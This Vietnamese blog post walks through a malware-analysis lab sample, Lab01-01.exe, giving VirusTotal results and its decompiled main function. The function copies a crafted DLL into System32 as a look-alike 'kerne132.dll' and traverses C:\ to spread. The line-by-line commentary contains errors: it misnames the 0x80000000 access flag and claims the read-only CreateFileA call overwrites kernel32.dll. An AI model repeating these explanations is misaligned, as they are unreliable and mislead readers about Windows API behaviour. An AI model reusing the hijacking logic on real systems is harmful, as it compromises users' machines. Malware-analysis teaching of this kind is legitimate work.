Phân Tích Mã Độc Malware

Ok, bắt đầu bài thứ 1 nhé
1. Nhận dạng
Quăng con này lên virustotal:
https://www.virustotal.com/en/file/58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47/analysis/
KQ:
SHA256:
58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47
File name:
Lab01-01.exe
Detection ratio:
1 / 44
Không tệ: 1/44 AV báo malware
Ngày compile là Sunday, ‎January ‎08, ‎2012, ‏‎02:19:04 AM
Compiler là: Microsoft Visual C++ 6.0 và không sử dụng packer

SHA: 58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47


2. Phân tích
Lab01-01.exe import 2 DLL là kernel.dll và MSVCRT.dll

Ta sẽ decompiler hàm main trước
 int __cdecl main(int argc, const char **argv, const char **envp) {     HANDLE v3; // eax@3     HANDLE v4; // eax@3     LPVOID v5; // eax@3     int v6; // esi@3     HANDLE v7; // eax@3     HANDLE v8; // eax@5     int v9; // ebp@7     int v10; // edi@9     int v11; // eax@9     int v12; // esi@9     int v13; // ebx@9     int v14; // ebp@9     int v15; // eax@9     unsigned int v16; // edi@9     int v17; // eax@9     int v18; // ecx@9     int v19; // edx@9     int v20; // esi@9     int v21; // edi@9     int v22; // ebx@9     int v23; // eax@9     int v24; // ecx@9     unsigned int v25; // edx@9     int v26; // ebp@12     int v27; // edx@14     void *v28; // ebx@14     void *v29; // eax@14     int v30; // ecx@14     unsigned int v31; // kr14_4@14     bool v32; // cf@15     int v34; // [sp+10h] [bp-44h]@12     int v35; // [sp+14h] [bp-40h]@12     int *v36; // [sp+18h] [bp-3Ch]@12     int v37; // [sp+1Ch] [bp-38h]@9     int v38; // [sp+20h] [bp-34h]@9     int v39; // [sp+24h] [bp-30h]@9     int v40; // [sp+28h] [bp-2Ch]@11     unsigned int v41; // [sp+2Ch] [bp-28h]@9     int v42; // [sp+30h] [bp-24h]@9     int v43; // [sp+34h] [bp-20h]@9     int v44; // [sp+38h] [bp-1Ch]@9     int v45; // [sp+3Ch] [bp-18h]@9     int v46; // [sp+40h] [bp-14h]@12     int v47; // [sp+44h] [bp-10h]@9     int v48; // [sp+48h] [bp-Ch]@9     void *hObject; // [sp+4Ch] [bp-8h]@3     void *v50; // [sp+50h] [bp-4h]@3     int argca; // [sp+58h] [bp+4h]@3     int argva; // [sp+5Ch] [bp+8h]@7     int argvb; // [sp+5Ch] [bp+8h]@9      if ( argc == 2 && !strcmp(argv[1], "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE") )     {         v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0);         hObject = v3;         v4 = CreateFileMappingA(v3, 0, 2u, 0, 0, 0);         v5 = MapViewOfFile(v4, 4u, 0, 0, 0);         v6 = (int)v5;         argca = (int)v5;         v7 = CreateFileA("Lab01-01.dll", 0x10000000u, 1u, 0, 3u, 0, 0);         v50 = v7;         if ( v7 == (HANDLE)-1 )             exit(0);         v8 = CreateFileMappingA(v7, 0, 4u, 0, 0, 0);         if ( v8 == (HANDLE)-1 )             exit(0);         v9 = (int)MapViewOfFile(v8, 0xF001Fu, 0, 0, 0);         argva = v9;         if ( !v9 )             exit(0);         v44 = v6 + *(_DWORD *)(v6 + 60);         v10 = v6 + *(_DWORD *)(v6 + 60);         v11 = sub_401040(*(_DWORD *)(v10 + 120), v10, v6);         v12 = v9 + *(_DWORD *)(v9 + 60);         v13 = v11;         v39 = v11;         v14 = sub_401040(*(_DWORD *)(v12 + 120), v12, v9);         v37 = sub_401040(*(_DWORD *)(v13 + 28), v10, argca);         v43 = sub_401040(*(_DWORD *)(v13 + 36), v10, argca);         v15 = sub_401040(*(_DWORD *)(v13 + 32), v10, argca);         v16 = *(_DWORD *)(v12 + 124);         v42 = v15;         v17 = sub_401070(*(_DWORD *)(v12 + 120), v12, argva);         memcpy((void *)v14, (const void *)v13, 4 * (v16 >> 2));         v45 = v17;         memcpy((void *)(v14 + 4 * (v16 >> 2)), (const void *)(v13 + 4 * (v16 >> 2)), v16 & 3);         v18 = *(_DWORD *)(v13 + 20);         *(_DWORD *)(v14 + 20) = v18;         *(_DWORD *)(v14 + 24) = *(_DWORD *)(v13 + 24);         *(_DWORD *)(v14 + 12) = v14 + 40 + v17;         v38 = v14 + 56;         *(_DWORD *)(v14 + 40) = dword_403010;         *(_DWORD *)(v14 + 44) = dword_403014;         *(_DWORD *)(v14 + 48) = dword_403018;         *(_DWORD *)(v14 + 52) = dword_40301C;         v19 = *(_DWORD *)(v14 + 20);         v20 = v14 + 56 + 4 * v19;         v21 = v14 + 56 + 8 * v19;         v48 = v14 + 56 + 4 * v19;         v47 = v14 + 56 + 8 * v19;         v22 = 16 * v18 + v14 + 56;         *(_DWORD *)(v14 + 28) = v14 + 56 + v17;         *(_DWORD *)(v14 + 36) = v20 + v17;         *(_DWORD *)(v14 + 32) = v21 + v17;         v23 = v39;         v24 = 0;         v25 = 0;         argvb = 0;         v41 = 0;         if ( *(_DWORD *)(v39 + 20) )         {             do             {                 if ( *(_DWORD *)v37 )                 {                     v40 = 0;                     if ( *(_DWORD *)(v23 + 24) )                     {                         v26 = v38 + 4 * v24;                         v34 = v20 + 2 * v24;                         v36 = (int *)v42;                         v35 = v43;                         v46 = v21 - v38;                         do                         {                             if ( *(_WORD *)v35 == v25 )                             {                                 v27 = sub_401040(*v36, v44, argca);                                 memcpy((void *)v22, (const void *)v27, strlen((const char *)v27) + 1);                                 *(_WORD *)v34 = argvb;                                 *(_DWORD *)(v46 + v26) = v22 + v45;                                 v28 = (void *)(v22 + strlen((const char *)v27) + 1);                                 v29 = v28;                                 v30 = (int)((char *)v28 + v45);                                 v28 = (char *)v28 + 9;                                 *(_DWORD *)v26 = v30;                                 *(_DWORD *)v29 = dword_403070;                                 *((_DWORD *)v29 + 1) = dword_403074;                                 *((_BYTE *)v29 + 8) = byte_403078;                                 memcpy(v28, (const void *)v27, strlen((const char *)v27) + 1);                                 v31 = strlen((const char *)v27) + 1;                                 v23 = v39;                                 ++argvb;                                 v25 = v41;                                 v22 = (int)((char *)v28 + v31);                                 v26 += 4;                                 v34 += 2;                             }                             v35 += 2;                             v32 = (unsigned int)(v40++ + 1) < *(_DWORD *)(v23 + 24);                             ++v36;                         }                         while ( v32 );                         v24 = argvb;                         v21 = v47;                         v20 = v48;                     }                 }                 ++v25;                 v41 = v25;                 v37 += 4;             }             while ( v25 < *(_DWORD *)(v23 + 20) );         }         CloseHandle(hObject);         CloseHandle(v50);         if ( !CopyFileA("Lab01-01.dll", "C:\\windows\\system32\\kerne132.dll", 0) )             exit(0);         sub_4011E0("C:\\*", 0);     }     return 0; }


Ok, ta sẽ phân tích từng dòng quan trọng:

***********************************************************************
HANDLE v3; // eax@3
v3 = CreateFileA("C:\\Windows\\System32\\Kernel32.dll", 0x80000000u, 1u, 0, 3u, 0, 0);

Chúng ta có thể lấy thông tin hàm CreateFileA ở trong thư viện MSDN của microsoft
* Lưu ý: khi bạn tìm kiếm hàm thì chỉ gõ CreateFile chứ đừng ghi thêm hậu tố "A" hay "W" đằng sau, MSDN sẽ không hiểu
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx

HANDLE WINAPI CreateFile(
  _In_      LPCTSTR lpFileName,
  _In_      DWORD dwDesiredAccess,
  _In_      DWORD dwShareMode,
  _In_opt_  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  _In_      DWORD dwCreationDisposition,
  _In_      DWORD dwFlagsAndAttributes,
  _In_opt_  HANDLE hTemplateFile
);

Tham số 1: "C:\\Windows\\System32\\Kernel32.dll" là đường dẫn và tên file cần tạo
Tham số 2: 0x80000000u = FILE_READ_ATTRIBUTES
Tham số 3: 1u = FILE_SHARE_READ
Tham số 4: 0 = NULL
Tham số 5: 3u = OPEN_EXISTING (nếu như file không tồn tại sẽ báo lỗi, chắc chắn là không báo rồi vì kernel32.dll là core của windows mà)
Tham số 6 và 7 là NULL

Tóm lại là hàm này sẽ ghi đè dữ liệu lên file kernel32.dll
Sau khi thực thi hàm sẽ trả về kết quả, ghi thành công hay thất bại
Chúng ta có thể kiểm tra việc ghi file bằng GetLastError xem thành công không
******************************************************************************


Share on Google Plus

About Vo Uu

Tác Giả là người chuyên nghiên cứu về các kỹ thuật hacking, security, marketing, là người có góc nhìn lạ và đi sâu vấn đề cũng như là một con người thẳng thắn góp ý. Nếu sử dụng bài trên blog mong các bạn dẫn lại nguồn tác giả!!! Tác Giả rất mong có sự đóng góp hội ý từ cộng đồng để cho an toàn an ninh mạng việt nam ngày càng được an toàn hơn!!

0 nhận xét:

Post a Comment